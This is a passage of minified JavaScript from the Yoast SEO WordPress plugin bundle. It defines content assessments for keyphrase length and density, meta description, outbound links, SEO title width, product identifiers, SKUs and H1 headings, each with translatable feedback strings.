i=e.getKeyword();this._keyphraseLengthData.functionWords.length>0&&!(0,u.default)(i).exactMatchRequested&&(this._config.countTextIn.singular=(0,s.__)("content word","wordpress-seo"),this._config.countTextIn.plural=(0,s.__)("content words","wordpress-seo")),t.getConfig("keyphraseLength")?this._config=this.getCustomConfig(t):0===this._keyphraseLengthData.functionWords.length&&(this._config.parameters=(0,n.merge)({},this._config.parameters,this._config.parametersNoFunctionWordSupport)),this._boundaries=this._config.parameters;const a=this.calculateResult();return r.setScore(a.score),r.setText(a.resultText),r.getScore()<9&&(r.setHasJumps(!0),r.setEditFieldName((0,s.__)("keyphrase","wordpress-seo"))),r}getCustomConfig(e){const t=e.getConfig("keyphraseLength");return this._isProductPage&&t.hasOwnProperty("productPages")?(0,n.merge)(this._config,t.productPages):(0,n.merge)(this._config,t.defaultAnalysis)}calculateResultForProduct(){return 0===this._keyphraseLengthData.keyphraseLength?this._config.isRelatedKeyphrase?{score:this._config.scores.veryBad,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sKeyphrase length%3$s: %2$sSet a keyphrase in order to calculate your SEO score%3$s.","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}:{score:this._config.scores.veryBad,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sKeyphrase length%3$s: No focus keyphrase was set for this page. %2$sSet a keyphrase in order to calculate your SEO score%3$s.","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}:this._keyphraseLengthData.keyphraseLength<=this._boundaries.acceptableMinimum?{score:this._config.scores.bad,resultText:(0,s.sprintf)(
/* translators:
        %1$d expands to the number of words / characters in the keyphrase,
        %2$d expands to the recommended maximum of words / characters in the keyphrase,
        %3$s and %4$s expand to links on yoast.com, %5$s expands to the anchor end tag,
        %6$s expands to the word 'word' or 'character' or 'content word',
        %7$s expands to the word 'words' or 'characters' or 'content words'. */
(0,s._n)("%3$sKeyphrase length%5$s: The keyphrase contains %1$d %6$s. That's way less than the recommended minimum of %2$d %7$s. %4$sMake it longer%5$s!","%3$sKeyphrase length%5$s: The keyphrase contains %1$d %7$s. That's way less than the recommended minimum of %2$d %7$s. %4$sMake it longer%5$s!",this._keyphraseLengthData.keyphraseLength,"wordpress-seo"),this._keyphraseLengthData.keyphraseLength,this._boundaries.recommendedMinimum,this._config.urlTitle,this._config.urlCallToAction,"</a>",this._config.countTextIn.singular,this._config.countTextIn.plural)}:this._keyphraseLengthData.keyphraseLength>this._boundaries.acceptableMaximum?{score:this._config.scores.bad,resultText:(0,s.sprintf)(
/* translators:
        %1$d expands to the number of words / characters in the keyphrase,
        %2$d expands to the recommended maximum of words / characters in the keyphrase,
        %3$s and %4$s expand to links on yoast.com,
        %5$s expands to the anchor end tag,
        %6$s expands to the word 'words' or 'characters' or 'content words'. */
(0,s.__)("%3$sKeyphrase length%5$s: The keyphrase contains %1$d %6$s. That's way more than the recommended maximum of %2$d %6$s. %4$sMake it shorter%5$s!","wordpress-seo"),this._keyphraseLengthData.keyphraseLength,this._boundaries.recommendedMaximum,this._config.urlTitle,this._config.urlCallToAction,"</a>",this._config.countTextIn.plural)}:(0,n.inRange)(this._keyphraseLengthData.keyphraseLength,this._boundaries.acceptableMinimum,this._boundaries.recommendedMinimum)?{score:this._config.scores.okay,resultText:(0,s.sprintf)(
/* translators:
        %1$d expands to the number of words / characters in the keyphrase,
        %2$d expands to the recommended maximum of words / characters in the keyphrase,
        %3$s and %4$s expand to links on yoast.com,
        %5$s expands to the anchor end tag,
        %6$s expands to the word 'words' or 'characters' or 'content words'. */
(0,s.__)("%3$sKeyphrase length%5$s: The keyphrase contains %1$d %6$s. That's less than the recommended minimum of %2$d %6$s. %4$sMake it longer%5$s!","wordpress-seo"),this._keyphraseLengthData.keyphraseLength,this._boundaries.recommendedMinimum,this._config.urlTitle,this._config.urlCallToAction,"</a>",this._config.countTextIn.plural)}:(0,l.inRangeEndInclusive)(this._keyphraseLengthData.keyphraseLength,this._boundaries.recommendedMaximum,this._boundaries.acceptableMaximum)?{score:this._config.scores.okay,resultText:(0,s.sprintf)(
/* translators:
        %1$d expands to the number of words / characters in the keyphrase,
        %2$d expands to the recommended maximum of words / characters in the keyphrase,
        %3$s and %4$s expand to links on yoast.com,
        %5$s expands to the anchor end tag,
        %6$s expands to the word 'words' or 'characters' or 'content words'. */
(0,s.__)("%3$sKeyphrase length%5$s: The keyphrase contains %1$d %6$s. That's more than the recommended maximum of %2$d %6$s. %4$sMake it shorter%5$s!","wordpress-seo"),this._keyphraseLengthData.keyphraseLength,this._boundaries.recommendedMaximum,this._config.urlTitle,this._config.urlCallToAction,"</a>",this._config.countTextIn.plural)}:(0,l.inRangeStartEndInclusive)(this._keyphraseLengthData.keyphraseLength,this._boundaries.recommendedMinimum,this._boundaries.recommendedMaximum)?{score:this._config.scores.good,resultText:(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag. */
(0,s.__)("%1$sKeyphrase length%2$s: Good job!","wordpress-seo"),this._config.urlTitle,"</a>")}:void 0}calculateResult(){return this._isProductPage?this.calculateResultForProduct():this._keyphraseLengthData.keyphraseLength<this._boundaries.recommendedMinimum?this._config.isRelatedKeyphrase?{score:this._config.scores.veryBad,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sKeyphrase length%3$s: %2$sSet a keyphrase in order to calculate your SEO score%3$s.","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}:{score:this._config.scores.veryBad,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sKeyphrase length%3$s: No focus keyphrase was set for this page. %2$sSet a keyphrase in order to calculate your SEO score%3$s.","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}:(0,n.inRange)(this._keyphraseLengthData.keyphraseLength,this._boundaries.recommendedMinimum,this._boundaries.recommendedMaximum+1)?{score:this._config.scores.good,resultText:(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag. */
(0,s.__)("%1$sKeyphrase length%2$s: Good job!","wordpress-seo"),this._config.urlTitle,"</a>")}:(0,n.inRange)(this._keyphraseLengthData.keyphraseLength,this._boundaries.recommendedMaximum+1,this._boundaries.acceptableMaximum+1)?{score:this._config.scores.okay,resultText:(0,s.sprintf)(
/* translators:
        %1$d expands to the number of words / characters in the keyphrase,
        %2$d expands to the recommended maximum of words / characters in the keyphrase,
        %3$s and %4$s expand to links on yoast.com,
        %5$s expands to the anchor end tag,
        %6$s expands to the word 'words' or 'characters' or 'content words'. */
(0,s.__)("%3$sKeyphrase length%5$s: The keyphrase contains %1$d %6$s. That's more than the recommended maximum of %2$d %6$s. %4$sMake it shorter%5$s!","wordpress-seo"),this._keyphraseLengthData.keyphraseLength,this._boundaries.recommendedMaximum,this._config.urlTitle,this._config.urlCallToAction,"</a>",this._config.countTextIn.plural)}:{score:this._config.scores.bad,resultText:(0,s.sprintf)(
/* translators:
      %1$d expands to the number of words / characters in the keyphrase,
      %2$d expands to the recommended maximum of words / characters in the keyphrase,
      %3$s and %4$s expand to links on yoast.com,
      %5$s expands to the anchor end tag,
      %6$s expands to the word 'words' or 'characters' or 'content words'. */
(0,s.__)("%3$sKeyphrase length%5$s: The keyphrase contains %1$d %6$s. That's way more than the recommended maximum of %2$d %6$s. %4$sMake it shorter%5$s!","wordpress-seo"),this._keyphraseLengthData.keyphraseLength,this._boundaries.recommendedMaximum,this._config.urlTitle,this._config.urlCallToAction,"</a>",this._config.countTextIn.plural)}}}t.default=d},70966:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.KeywordDensityAssessment=t.KeyphraseDensityAssessment=void 0;var s=r(65736),n=r(92819),i=h(r(68055)),a=h(r(9017)),o=h(r(73054)),l=r(76663),u=r(49061),c=h(r(4913)),d=h(r(60914));function h(e){return e&&e.__esModule?e:{default:e}}class f extends a.default{constructor(e={}){super();const t={parameters:{noWordForms:{overMaximum:4,maximum:3,minimum:.5},multipleWordForms:{overMaximum:4,maximum:3.5,minimum:.5}},scores:{wayOverMaximum:-50,overMaximum:-10,correctDensity:9,underMinimum:4},urlTitle:(0,u.createAnchorOpeningTag)("https://yoa.st/33v"),urlCallToAction:(0,u.createAnchorOpeningTag)("https://yoa.st/33w"),applicableIfTextLongerThan:100};this.identifier="keyphraseDensity",this._config=(0,n.merge)(t,e)}setBoundaries(e,t,r){this._hasMorphologicalForms?this._boundaries=this._config.parameters.multipleWordForms:this._boundaries=this._config.parameters.noWordForms,this._minRecommendedKeyphraseCount=(0,i.default)(e,t,this._boundaries.minimum,"min",r),this._maxRecommendedKeyphraseCount=(0,i.default)(e,t,this._boundaries.maximum,"max",r)}getResult(e,t){const r=t.getHelper("getWordsCustomHelper");this._keyphraseCount=t.getResearch("getKeyphraseCount");const s=this._keyphraseCount.keyphraseLength,n=new o.default;this._keyphraseDensity=t.getResearch("getKeyphraseDensity"),this._hasMorphologicalForms=!1!==t.getData("morphology"),this.setBoundaries(e,s,r),this._keyphraseDensity=this._keyphraseDensity*(0,c.default)(s);const i=this.calculateResult();return n.setScore(i.score),n.setText(i.resultText),n.setHasMarks(this._keyphraseCount.count>0),i.score===this._config.scores.underMinimum&&n.setHasAIFixes(!0),n}hasNoMatches(){return 0===this._keyphraseCount.count}hasTooFewMatches(){return(0,l.inRangeStartInclusive)(this._keyphraseDensity,0,this._boundaries.minimum)||1===this._keyphraseCount.count}hasGoodNumberOfMatches(){return(0,l.inRangeStartEndInclusive)(this._keyphraseDensity,this._boundaries.minimum,this._boundaries.maximum)||2===this._keyphraseCount.count&&this._minRecommendedKeyphraseCount<=2}hasTooManyMatches(){return(0,l.inRangeEndInclusive)(this._keyphraseDensity,this._boundaries.maximum,this._boundaries.overMaximum)}calculateResult(){return this.hasNoMatches()?{score:this._config.scores.underMinimum,resultText:(0,s.sprintf)(
/* translators:
        %1$s and %4$s expand to links to Yoast.com,
        %2$s expands to the anchor end tag,
        %3$d expands to the recommended minimal number of times the keyphrase should occur in the text. */
(0,s.__)("%1$sKeyphrase density%2$s: The keyphrase was found 0 times. That's less than the recommended minimum of %3$d times for a text of this length. %4$sFocus on your keyphrase%2$s!","wordpress-seo"),this._config.urlTitle,"</a>",this._minRecommendedKeyphraseCount,this._config.urlCallToAction)}:this.hasTooFewMatches()?{score:this._config.scores.underMinimum,resultText:(0,s.sprintf)(
/* translators:
        %1$s and %4$s expand to links to Yoast.com,
        %2$s expands to the anchor end tag,
        %3$d expands to the recommended minimal number of times the keyphrase should occur in the text,
        %5$d expands to the number of times the keyphrase occurred in the text. */
(0,s._n)("%1$sKeyphrase density%2$s: The keyphrase was found %5$d time. That's less than the recommended minimum of %3$d times for a text of this length. %4$sFocus on your keyphrase%2$s!","%1$sKeyphrase density%2$s: The keyphrase was found %5$d times. That's less than the recommended minimum of %3$d times for a text of this length. %4$sFocus on your keyphrase%2$s!",this._keyphraseCount.count,"wordpress-seo"),this._config.urlTitle,"</a>",this._minRecommendedKeyphraseCount,this._config.urlCallToAction,this._keyphraseCount.count)}:this.hasGoodNumberOfMatches()?{score:this._config.scores.correctDensity,resultText:(0,s.sprintf)(
/* translators:
        %1$s expands to a link to Yoast.com,
        %2$s expands to the anchor end tag,
        %3$d expands to the number of times the keyphrase occurred in the text. */
(0,s._n)("%1$sKeyphrase density%2$s: The keyphrase was found %3$d time. This is great!","%1$sKeyphrase density%2$s: The keyphrase was found %3$d times. This is great!",this._keyphraseCount.count,"wordpress-seo"),this._config.urlTitle,"</a>",this._keyphraseCount.count)}:this.hasTooManyMatches()?{score:this._config.scores.overMaximum,resultText:(0,s.sprintf)(
/* translators:
        %1$s and %4$s expand to links to Yoast.com,
        %2$s expands to the anchor end tag,
        %3$d expands to the recommended maximal number of times the keyphrase should occur in the text,
        %5$d expands to the number of times the keyphrase occurred in the text. */
(0,s._n)("%1$sKeyphrase density%2$s: The keyphrase was found %5$d time. That's more than the recommended maximum of %3$d times for a text of this length. %4$sDon't overoptimize%2$s!","%1$sKeyphrase density%2$s: The keyphrase was found %5$d times. That's more than the recommended maximum of %3$d times for a text of this length. %4$sDon't overoptimize%2$s!",this._keyphraseCount.count,"wordpress-seo"),this._config.urlTitle,"</a>",this._maxRecommendedKeyphraseCount,this._config.urlCallToAction,this._keyphraseCount.count)}:{score:this._config.scores.wayOverMaximum,resultText:(0,s.sprintf)(
/* translators:
      %1$s and %4$s expand to links to Yoast.com,
      %2$s expands to the anchor end tag,
      %3$d expands to the recommended maximal number of times the keyphrase should occur in the text,
      %5$d expands to the number of times the keyphrase occurred in the text. */
(0,s._n)("%1$sKeyphrase density%2$s: The keyphrase was found %5$d time. That's way more than the recommended maximum of %3$d times for a text of this length. %4$sDon't overoptimize%2$s!","%1$sKeyphrase density%2$s: The keyphrase was found %5$d times. That's way more than the recommended maximum of %3$d times for a text of this length. %4$sDon't overoptimize%2$s!",this._keyphraseCount.count,"wordpress-seo"),this._config.urlTitle,"</a>",this._maxRecommendedKeyphraseCount,this._config.urlCallToAction,this._keyphraseCount.count)}}getMarks(){return this._keyphraseCount.markings}isApplicable(e,t){const r=t.getHelper("customCountLength"),s=t.getConfig("assessmentApplicability").keyphraseDensity;s&&(this._config.applicableIfTextLongerThan=s);const n=r?r(e.getText()):(0,d.default)(e).length;return e.hasText()&&e.hasKeyword()&&n>=this._config.applicableIfTextLongerThan}}t.KeyphraseDensityAssessment=f,t.KeywordDensityAssessment=class extends f{constructor(e={}){super(e),this.identifier="keywordDensity",console.warn("This object is deprecated, use KeyphraseDensityAssessment instead.")}},t.default=f},34847:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=l(r(9017)),a=r(33140),o=l(r(73054));function l(e){return e&&e.__esModule?e:{default:e}}class u extends i.default{constructor(e={}){super();const t={parameters:{recommendedMinimum:1},scores:{good:9,ok:6,bad:3},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/33k"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/33l")};this.identifier="metaDescriptionKeyword",this._config=(0,n.merge)(t,e)}getResult(e,t){this._keyphraseCounts=t.getResearch("metaDescriptionKeyword");const r=new o.default,n=this.calculateResult();return r.setScore(n.score),r.setText(n.resultText),r.getScore()<9&&(r.setHasJumps(!0),r.setEditFieldName((0,s.__)("meta description","wordpress-seo"))),r}calculateResult(){return 1===this._keyphraseCounts||2===this._keyphraseCounts?{score:this._config.scores.good,resultText:(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag. */
(0,s.__)("%1$sKeyphrase in meta description%2$s: Keyphrase or synonym appear in the meta description. Well done!","wordpress-seo"),this._config.urlTitle,"</a>")}:this._keyphraseCounts>=3?{score:this._config.scores.bad,resultText:(0,s.sprintf)(
/**
         * translators:
         * %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag,
         * %3$s expands to the number of sentences containing the keyphrase,
         * %4$s expands to a link on yoast.com, %5$s expands to the anchor end tag.
         */
(0,s.__)("%1$sKeyphrase in meta description%2$s: The meta description contains the keyphrase %3$s times, which is over the advised maximum of 2 times. %4$sLimit that%5$s!","wordpress-seo"),this._config.urlTitle,"</a>",this._keyphraseCounts,this._config.urlCallToAction,"</a>")}:{score:this._config.scores.bad,resultText:(0,s.sprintf)(
/**
       * translators:
       * %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag.
       * %3$s expands to a link on yoast.com, %4$s expands to the anchor end tag.
       */
(0,s.__)("%1$sKeyphrase in meta description%2$s: The meta description has been specified, but it does not contain the keyphrase. %3$sFix that%4$s!","wordpress-seo"),this._config.urlTitle,"</a>",this._config.urlCallToAction,"</a>")}}isApplicable(e){return e.hasKeyword()&&e.hasDescription()}}t.default=u},70476:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=u(r(9017)),a=r(33140),o=u(r(73054)),l=u(r(49581));function u(e){return e&&e.__esModule?e:{default:e}}class c extends i.default{constructor(e={}){super();const t={recommendedMaximumLength:120,maximumLength:156,scores:{noMetaDescription:1,tooLong:6,tooShort:6,correctLength:9},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/34d"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/34e")};this.identifier="metaDescriptionLength",this._config=(0,n.merge)(t,e)}getMaximumLength(e){return this.getConfig(e).maximumLength}getConfig(e){let t=this._config;return"ja"===e&&(t=(0,n.merge)(t,l.default)),t}getResult(e,t){const r=t.getResearch("metaDescriptionLength"),n=new o.default,i=t.getConfig("language"),a=this.getConfig(i);return n.setScore(this.calculateScore(r,i)),n.setText(this.translateScore(r,a)),n.getScore()<9&&(n.setHasJumps(!0),n.setEditFieldName((0,s.__)("meta description","wordpress-seo"))),n.max=a.maximumLength,n.actual=r,n}calculateScore(e,t){const r=this.getConfig(t);return 0===e?r.scores.noMetaDescription:e<=this._config.recommendedMaximumLength?r.scores.tooShort:e>this._config.maximumLength?r.scores.tooLong:r.scores.correctLength}translateScore(e,t){return 0===e?(0,s.sprintf)(/* translators:  %1$s and %2$s expand to a links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sMeta description length%3$s:  No meta description has been specified. Search engines will display copy from the page instead. %2$sMake sure to write one%3$s!","wordpress-seo"),t.urlTitle,t.urlCallToAction,"</a>"):e<=t.recommendedMaximumLength?(0,s.sprintf)(
/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag,
      %4$d expands to the number of characters in the meta description, %5$d expands to
      the total available number of characters in the meta description */
(0,s.__)("%1$sMeta description length%3$s: The meta description is too short (under %4$d characters). Up to %5$d characters are available. %2$sUse the space%3$s!","wordpress-seo"),t.urlTitle,t.urlCallToAction,"</a>",t.recommendedMaximumLength,t.maximumLength):e>t.maximumLength?(0,s.sprintf)(
/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag,
      %4$d expands to	the total available number of characters in the meta description */
(0,s.__)("%1$sMeta description length%3$s: The meta description is over %4$d characters. To ensure the entire description will be visible, %2$syou should reduce the length%3$s!","wordpress-seo"),t.urlTitle,t.urlCallToAction,"</a>",t.maximumLength):(0,s.sprintf)(/* translators:  %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag */
(0,s.__)("%1$sMeta description length%2$s: Well done!","wordpress-seo"),t.urlTitle,"</a>")}}t.default=c},27661:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=l(r(9017)),a=r(33140),o=l(r(73054));function l(e){return e&&e.__esModule?e:{default:e}}class u extends i.default{constructor(e={}){super();const t={scores:{noLinks:3,allNofollowed:7,someNoFollowed:8,allFollowed:9},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/34f"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/34g")};this.identifier="externalLinks",this._config=(0,n.merge)(t,e)}getResult(e,t){const r=t.getResearch("getLinkStatistics"),s=new o.default;return(0,n.isEmpty)(r)||(s.setScore(this.calculateScore(r)),s.setText(this.translateScore(r))),s}isApplicable(e){return e.hasText()}calculateScore(e){return 0===e.externalTotal?this._config.scores.noLinks:e.externalNofollow===e.externalTotal?this._config.scores.allNofollowed:e.externalDofollow<e.externalTotal?this._config.scores.someNoFollowed:e.externalDofollow===e.externalTotal?this._config.scores.allFollowed:null}translateScore(e){return 0===e.externalTotal?(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sOutbound links%3$s: No outbound links appear in this page. %2$sAdd some%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>"):e.externalNofollow===e.externalTotal?(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sOutbound links%3$s: All outbound links on this page are nofollowed. %2$sAdd some normal links%3$s.","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>"):e.externalDofollow===e.externalTotal?(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag */
(0,s.__)("%1$sOutbound links%2$s: Good job!","wordpress-seo"),this._config.urlTitle,"</a>"):e.externalDofollow<e.externalTotal?(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag */
(0,s.__)("%1$sOutbound links%2$s: There are both nofollowed and normal outbound links on this page. Good job!","wordpress-seo"),this._config.urlTitle,"</a>"):""}}t.default=u},46430:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=u(r(9017)),a=r(76663),o=r(33140),l=u(r(73054));function u(e){return e&&e.__esModule?e:{default:e}}class c extends i.default{constructor(e={},t=!1){super();const r={minLength:400,maxLength:600,scores:{noTitle:1,widthTooShort:6,widthTooLong:3,widthCorrect:9},urlTitle:(0,o.createAnchorOpeningTag)("https://yoa.st/34h"),urlCallToAction:(0,o.createAnchorOpeningTag)("https://yoa.st/34i")};this._allowShortTitle=t,this.identifier="titleWidth",this._config=(0,n.merge)(r,e)}getMaximumLength(){return 600}getResult(e,t){const r=t.getResearch("pageTitleWidth"),n=new l.default;return n.setScore(this.calculateScore(r)),n.setText(this.translateScore(r)),n.getScore()<9&&(n.setHasJumps(!0),n.setEditFieldName((0,s.__)("SEO title","wordpress-seo"))),n.max=this._config.maxLength,n.actual=r,n}calculateScore(e){return(0,a.inRangeEndInclusive)(e,1,400)?this._config.scores.widthTooShort:(0,a.inRangeEndInclusive)(e,this._config.minLength,this._config.maxLength)?this._config.scores.widthCorrect:e>this._config.maxLength?this._config.scores.widthTooLong:this._config.scores.noTitle}translateScore(e){return(0,a.inRangeEndInclusive)(e,1,400)?this._allowShortTitle?(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag */
(0,s.__)("%1$sSEO title width%2$s: Good job!","wordpress-seo"),this._config.urlTitle,"</a>"):(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sSEO title width%3$s: The SEO title is too short. %2$sUse the space to add keyphrase variations or create compelling call-to-action copy%3$s.","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>"):(0,a.inRangeEndInclusive)(e,this._config.minLength,this._config.maxLength)?(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag */
(0,s.__)("%1$sSEO title width%2$s: Good job!","wordpress-seo"),this._config.urlTitle,"</a>"):e>this._config.maxLength?(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sSEO title width%3$s: The SEO title is wider than the viewable limit. %2$sTry to make it shorter%3$s.","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>"):(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sSEO title width%3$s: %2$sPlease create an SEO title%3$s.","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}}t.default=c},76369:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=o(r(9017)),i=o(r(73054)),a=r(49061);function o(e){return e&&e.__esModule?e:{default:e}}class l extends n.default{constructor(e={}){super(),this.identifier="productIdentifier",this._config=(0,s.merge)({scores:{good:9,ok:6},urlTitle:"https://yoa.st/4ly",urlCallToAction:"https://yoa.st/4lz",assessVariants:!1,shouldShowEditButton:!1,editFieldName:"Product identifiers",callbacks:{}},e)}getResult(e){const t=e.getCustomData(),r=this.scoreProductIdentifier(t,this._config),s=new i.default;return r&&(s.setScore(r.score),s.setText(r.text)),s.getScore()<9&&this._config.shouldShowEditButton&&(s.setHasJumps(!0),s.setEditFieldName(this._config.editFieldName)),s}isApplicable(e){const t=e.getCustomData();return!(!1===t.canRetrieveGlobalIdentifier&&(["simple","external","grouped"].includes(t.productType)||!1===t.hasVariants)||!1===t.canRetrieveVariantIdentifiers&&!0===t.hasVariants&&"variable"===t.productType||!1===this._config.assessVariants&&t.hasVariants)}scoreProductIdentifier(e,t){const{good:r,okay:s}=this.getFeedbackStrings();return["simple","grouped","external"].includes(e.productType)||"variable"===e.productType&&!e.hasVariants?e.hasGlobalIdentifier?{score:t.scores.good,text:r.withoutVariants}:{score:t.scores.ok,text:s.withoutVariants}:"variable"===e.productType&&e.hasVariants?e.doAllVariantsHaveIdentifier?{score:t.scores.good,text:r.withVariants}:{score:t.scores.ok,text:s.withVariants}:{}}getFeedbackStrings(){const e=(0,a.createAnchorOpeningTag)(this._config.urlTitle),t=(0,a.createAnchorOpeningTag)(this._config.urlCallToAction);if(!this._config.callbacks.getResultTexts){const r={good:{withoutVariants:"%1$sProduct identifier%3$s: Your product has an identifier. Good job!",withVariants:"%1$sProduct identifier%3$s: All your product variants have an identifier. Good job!"},okay:{withoutVariants:"%1$sProduct identifier%3$s: Your product is missing an identifier (like a GTIN code). %2$sInclude it if you can, as it will help search engines to better understand your content.%3$s",withVariants:"%1$sProduct identifier%3$s: Not all your product variants have an identifier. %2$sInclude it if you can, as it will help search engines to better understand your content.%3$s"}};return r.good=(0,s.mapValues)(r.good,(r=>this.formatResultText(r,e,t))),r.okay=(0,s.mapValues)(r.okay,(r=>this.formatResultText(r,e,t))),r}return this._config.callbacks.getResultTexts({urlTitleAnchorOpeningTag:e,urlActionAnchorOpeningTag:t})}}t.default=l},11842:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=o(r(9017)),i=o(r(73054)),a=r(49061);function o(e){return e&&e.__esModule?e:{default:e}}class l extends n.default{constructor(e={}){super(),this.identifier="productSKU",this._config=(0,s.merge)({scores:{good:9,ok:6},urlTitle:"https://yoa.st/4lw",urlCallToAction:"https://yoa.st/4lx",assessVariants:!1,shouldShowEditButton:!1,editFieldName:"SKU",callbacks:{}},e)}getResult(e){const t=e.getCustomData(),r=this.scoreProductSKU(t,this._config),s=new i.default;return r&&(s.setScore(r.score),s.setText(r.text)),s.getScore()<9&&this._config.shouldShowEditButton&&(s.setHasJumps(!0),s.setEditFieldName(this._config.editFieldName)),s}isApplicable(e){const t=e.getCustomData();return!(!1===t.canRetrieveGlobalSku&&(["simple","external"].includes(t.productType)||!1===t.hasVariants)||!1===t.canRetrieveVariantSkus&&!0===t.hasVariants&&"variable"===t.productType||!1===this._config.assessVariants&&t.hasVariants)}scoreProductSKU(e,t){const{good:r,okay:s}=this.getFeedbackStrings();return["simple","external","grouped"].includes(e.productType)||"variable"===e.productType&&!e.hasVariants?e.hasGlobalSKU?{score:t.scores.good,text:r.withoutVariants}:{score:t.scores.ok,text:s.withoutVariants}:"variable"===e.productType&&e.hasVariants?e.doAllVariantsHaveSKU?{score:t.scores.good,text:r.withVariants}:{score:t.scores.ok,text:s.withVariants}:{}}getFeedbackStrings(){const e=(0,a.createAnchorOpeningTag)(this._config.urlTitle),t=(0,a.createAnchorOpeningTag)(this._config.urlCallToAction);if(!this._config.callbacks.getResultTexts){const r={good:{withoutVariants:"%1$sSKU%3$s: Your product has a SKU. Good job!",withVariants:"%1$sSKU%3$s: All your product variants have a SKU. Good job!"},okay:{withoutVariants:"%1$sSKU%3$s: Your product is missing a SKU. %2$sInclude it if you can, as it will help search engines to better understand your content.%3$s",withVariants:"%1$sSKU%3$s: Not all your product variants have a SKU. %2$sInclude it if you can, as it will help search engines to better understand your content.%3$s"}};return r.good=(0,s.mapValues)(r.good,(r=>this.formatResultText(r,e,t))),r.okay=(0,s.mapValues)(r.okay,(r=>this.formatResultText(r,e,t))),r}return this._config.callbacks.getResultTexts({urlTitleAnchorOpeningTag:e,urlActionAnchorOpeningTag:t})}}t.default=l},47502:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=c(r(9017)),a=r(49061),o=c(r(15010)),l=c(r(73054)),u=c(r(41054));function c(e){return e&&e.__esModule?e:{default:e}}class d extends i.default{constructor(e={}){super();const t={scores:{textContainsSuperfluousH1:1},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/3a6"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/3a7")};this.identifier="singleH1",this._config=(0,n.merge)(t,e)}getResult(e,t){this._h1s=t.getResearch("h1s");const r=new l.default,s=this.calculateResult();return(0,n.isUndefined)(s)||(r.setScore(s.score),r.setText(s.resultText),r.setHasMarks(!0)),r}calculateResult(){if(!(this._h1s.length<=1))return{score:this._config.scores.textContainsSuperfluousH1,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
